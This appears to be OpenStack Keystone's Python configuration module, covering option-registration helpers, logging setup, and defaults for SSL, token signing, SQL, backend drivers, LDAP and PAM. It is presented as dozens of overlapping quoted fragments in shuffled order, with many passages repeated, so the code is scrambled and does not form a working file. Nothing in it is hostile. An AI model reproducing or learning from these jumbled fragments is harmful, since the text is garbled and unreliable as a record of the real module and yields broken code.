"conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"the specific language governing permissions and limitations # under the License. import gettext",
"register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size',",
"tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2012 OpenStack LLC # # Licensed under the",
"group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout',",
"syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir:",
"License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR CONDITIONS",
"writing, software # distributed under the License is distributed on an \"AS IS\"",
"None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group",
"import sys from keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF",
"log with supplied name :param conf: a cfg.ConfOpts object \"\"\" if conf.log_config: #",
"unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging options for",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw):",
"register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required',",
"return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group =",
"register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw),",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def",
"register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn',",
"**kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"def register_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args,",
"of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable",
"group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\")",
"register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver',",
"group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing',",
"Licensed under the Apache License, Version 2.0 (the \"License\"); you may # not",
"def register_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args,",
"cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging",
"Sets up the logging options for a log with supplied name :param conf:",
"2.0 (the \"License\"); you may # not use this file except in compliance",
"# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT",
"License, Version 2.0 (the \"License\"); you may # not use this file except",
"group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap',",
"conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group",
"group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap',",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def",
"= kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf = kw.pop('conf',",
"return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group =",
"group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args, **kw): conf =",
"shiftwidth=4 softtabstop=4 # Copyright 2012 OpenStack LLC # # Licensed under the Apache",
"group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password',",
"agreed to in writing, software # distributed under the License is distributed on",
"the License. import gettext import os import sys from keystone.common import logging from",
"group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options",
"register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member',",
"logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile',",
"# Unless required by applicable law or agreed to in writing, software #",
"raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file",
"by applicable law or agreed to in writing, software # distributed under the",
"conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def",
"under the License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf):",
"return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group =",
"= cfg.CONF def setup_logging(conf): \"\"\" Sets up the logging options for a log",
"formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError:",
"def setup_logging(conf): \"\"\" Sets up the logging options for a log with supplied",
"register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection',",
"root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args,",
"register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap",
"conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000)",
"= kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf',",
"group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid',",
"cfg.ConfOpts object \"\"\" if conf.log_config: # Use a logging configuration file for all",
"# # Licensed under the Apache License, Version 2.0 (the \"License\"); you may",
"import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets up the",
"except in compliance with the License. You may obtain # a copy of",
"os import sys from keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1)",
"register_int('idle_timeout', group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver',",
"group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl',",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host',",
"to in writing, software # distributed under the License is distributed on an",
"all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified logging",
"None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port', default=8774) register_str('admin_port', default=35357)",
"register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days',",
"#signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing',",
"= logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf =",
"facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler",
"def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args,",
"None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF) group",
"default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024)",
"specific language governing permissions and limitations # under the License. import gettext import",
"distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT #",
"default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant')",
"a cfg.ConfOpts object \"\"\" if conf.log_config: # Use a logging configuration file for",
"root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try:",
"# not use this file except in compliance with the License. You may",
"default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn')",
"# License for the specific language governing permissions and limitations # under the",
"LLC # # Licensed under the Apache License, Version 2.0 (the \"License\"); you",
"kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw): conf = kw.pop('conf', CONF)",
"group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0') register_str('compute_port',",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"in writing, software # distributed under the License is distributed on an \"AS",
"Version 2.0 (the \"License\"); you may # not use this file except in",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args, **kw):",
"**kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None)",
"group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap',",
"= conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler",
"if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if",
"def register_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args,",
"register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile',",
"root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format, conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler,",
"register_cli_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw),",
"\"License\"); you may # not use this file except in compliance with the",
"Copyright 2012 OpenStack LLC # # Licensed under the Apache License, Version 2.0",
"return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group =",
"the Apache License, Version 2.0 (the \"License\"); you may # not use this",
"default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db')",
"facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile",
"from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF def setup_logging(conf): \"\"\" Sets",
"default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None)",
"not use this file except in compliance with the License. You may obtain",
"register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn',",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group)",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN')",
"register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing',",
"default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap', default='roleOccupant') #pam register_str('url', group='pam', default=None) register_str('userid', group='pam',",
"= getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility)",
"OpenStack LLC # # Licensed under the Apache License, Version 2.0 (the \"License\");",
"up the logging options for a log with supplied name :param conf: a",
"logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf',",
"conf.log_config: # Use a logging configuration file for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config)",
"group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap', default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap',",
"License for the specific language governing permissions and limitations # under the License.",
"specified logging ' 'config file: %s' % conf.log_config) root_logger = logging.root if conf.debug:",
"= os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def",
"register_str(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw),",
"ValueError(_('Invalid syslog facility')) handler = logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if",
"a log with supplied name :param conf: a cfg.ConfOpts object \"\"\" if conf.log_config:",
"locate specified logging ' 'config file: %s' % conf.log_config) root_logger = logging.root if",
"WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the #",
"default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650)",
"group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap',",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw):",
"group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap',",
"OF ANY KIND, either express or implied. See the # License for the",
"default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200)",
"kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf', CONF)",
"= kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf = kw.pop('conf',",
"register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl', default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl',",
"# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.StrOpt(*args, **kw), group=group) def register_cli_str(*args,",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group) def register_int(*args,",
"register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass',",
"(the \"License\"); you may # not use this file except in compliance with",
"logging.SysLogHandler(address='/dev/log', facility=facility) elif conf.log_file: logfile = conf.log_file if conf.log_dir: logfile = os.path.join(conf.log_dir, logfile)",
"default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap',",
"os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args,",
"default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats', default='keystone.contrib.stats.backends.kvs.Stats')",
"options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\")",
"group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute', group='ldap',",
"# # Unless required by applicable law or agreed to in writing, software",
"default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format',",
"default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False) #signing options register_str('token_format', group='signing', default=\"UUID\") register_str('certfile',",
"\"\"\" Sets up the logging options for a log with supplied name :param",
"for a log with supplied name :param conf: a cfg.ConfOpts object \"\"\" if",
"#ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com')",
"setup_logging(conf): \"\"\" Sets up the logging options for a log with supplied name",
"register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute',",
"options for a log with supplied name :param conf: a cfg.ConfOpts object \"\"\"",
"CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf",
"License. You may obtain # a copy of the License at # #",
"group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql",
"group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql',",
"# Copyright 2012 OpenStack LLC # # Licensed under the Apache License, Version",
"the License is distributed on an \"AS IS\" BASIS, WITHOUT # WARRANTIES OR",
"else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler) def register_str(*args, **kw): conf = kw.pop('conf', CONF)",
"group='sql', default=200) register_str('driver', group='catalog', default='keystone.catalog.backends.sql.Catalog') register_str('driver', group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token',",
"group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap',",
"RuntimeError('Unable to locate specified logging ' 'config file: %s' % conf.log_config) root_logger =",
"ANY KIND, either express or implied. See the # License for the specific",
"register_str('compute_port', default=8774) register_str('admin_port', default=35357) register_str('public_port', default=5000) register_str('onready') register_str('auth_admin_prefix', default='') #ssl options register_bool('enable', group='ssl',",
"register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) #",
"' 'config file: %s' % conf.log_config) root_logger = logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif",
"conf.log_dir: logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter)",
"kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF)",
"group='signing', default=\"UUID\") register_str('certfile', group='signing', default=\"/etc/keystone/ssl/certs/signing_cert.pem\") register_str('keyfile', group='signing', default=\"/etc/keystone/ssl/private/signing_key.pem\") register_str('ca_certs', group='signing', default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing',",
"register_str('tenant_name_attribute', group='ldap', default='ou') register_str('role_tree_dn', group='ldap', default=None) register_str('role_objectclass', group='ldap', default='organizationalRole') register_str('role_id_attribute', group='ldap', default='cn') register_str('role_member_attribute',",
"logfile = os.path.join(conf.log_dir, logfile) handler = logging.WatchedFileHandler(logfile) else: handler = logging.StreamHandler(sys.stdout) handler.setFormatter(formatter) root_logger.addHandler(handler)",
"default=None) register_str('user_objectclass', group='ldap', default='inetOrgPerson') register_str('user_id_attribute', group='ldap', default='cn') register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames')",
"register_str('ca_password', group='signing', default=None) # sql options register_str('connection', group='sql', default='sqlite:///keystone.db') register_int('idle_timeout', group='sql', default=200) register_str('driver',",
"conf.log_date_format) if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog",
"group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap', default='cn=example,cn=com') register_bool('use_dumb_member', group='ldap', default=False) register_str('user_name_attribute', group='ldap', default='sn') register_str('user_tree_dn', group='ldap',",
"group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw): conf =",
"= kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args,",
"for all settings... if os.path.exists(conf.log_config): logging.config.fileConfig(conf.log_config) return else: raise RuntimeError('Unable to locate specified",
"group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw), group=group) def register_cli_bool(*args, **kw): conf =",
"conf.register_opt(cfg.IntOpt(*args, **kw), group=group) def register_cli_int(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group',",
"default=False) register_str('certfile', group='ssl', default=None) register_str('keyfile', group='ssl', default=None) register_str('ca_certs', group='ssl', default=None) register_bool('cert_required', group='ssl', default=False)",
"default=\"/etc/keystone/ssl/certs/ca.pem\") register_int('key_size', group='signing', default=1024) register_int('valid_days', group='signing', default=3650) register_str('ca_password', group='signing', default=None) # sql options",
"if conf.use_syslog: try: facility = getattr(logging.SysLogHandler, conf.syslog_log_facility) except AttributeError: raise ValueError(_('Invalid syslog facility'))",
"softtabstop=4 # Copyright 2012 OpenStack LLC # # Licensed under the Apache License,",
"register_bool(*args, **kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_opt(cfg.BoolOpt(*args, **kw),",
"CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.IntOpt(*args, **kw), group=group) register_str('admin_token', default='ADMIN') register_str('bind_host', default='0.0.0.0')",
":param conf: a cfg.ConfOpts object \"\"\" if conf.log_config: # Use a logging configuration",
"= logging.root if conf.debug: root_logger.setLevel(logging.DEBUG) elif conf.verbose: root_logger.setLevel(logging.INFO) else: root_logger.setLevel(logging.WARNING) formatter = logging.Formatter(conf.log_format,",
"**kw): conf = kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.BoolOpt(*args, **kw), group=group)",
"group='identity', default='keystone.identity.backends.sql.Identity') register_str('driver', group='policy', default='keystone.policy.backends.rules.Policy') register_str('driver', group='token', default='keystone.token.backends.kvs.Token') register_str('driver', group='ec2', default='keystone.contrib.ec2.backends.kvs.Ec2') register_str('driver', group='stats',",
"default='keystone.contrib.stats.backends.kvs.Stats') #ldap register_str('url', group='ldap', default='ldap://localhost') register_str('user', group='ldap', default='dc=Manager,dc=example,dc=com') register_str('password', group='ldap', default='<PASSWORD>') register_str('suffix', group='ldap',",
"register_str('tenant_tree_dn', group='ldap', default=None) register_str('tenant_objectclass', group='ldap', default='groupOfNames') register_str('tenant_id_attribute', group='ldap', default='cn') register_str('tenant_member_attribute', group='ldap', default='member') register_str('tenant_name_attribute',",
"under the Apache License, Version 2.0 (the \"License\"); you may # not use",
"WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See",
"kw.pop('conf', CONF) group = kw.pop('group', None) return conf.register_cli_opt(cfg.StrOpt(*args, **kw), group=group) def register_bool(*args, **kw):",
"name :param conf: a cfg.ConfOpts object \"\"\" if conf.log_config: # Use a logging",
"with supplied name :param conf: a cfg.ConfOpts object \"\"\" if conf.log_config: # Use",
"from keystone.common import logging from keystone.openstack.common import cfg gettext.install('keystone', unicode=1) CONF = cfg.CONF",
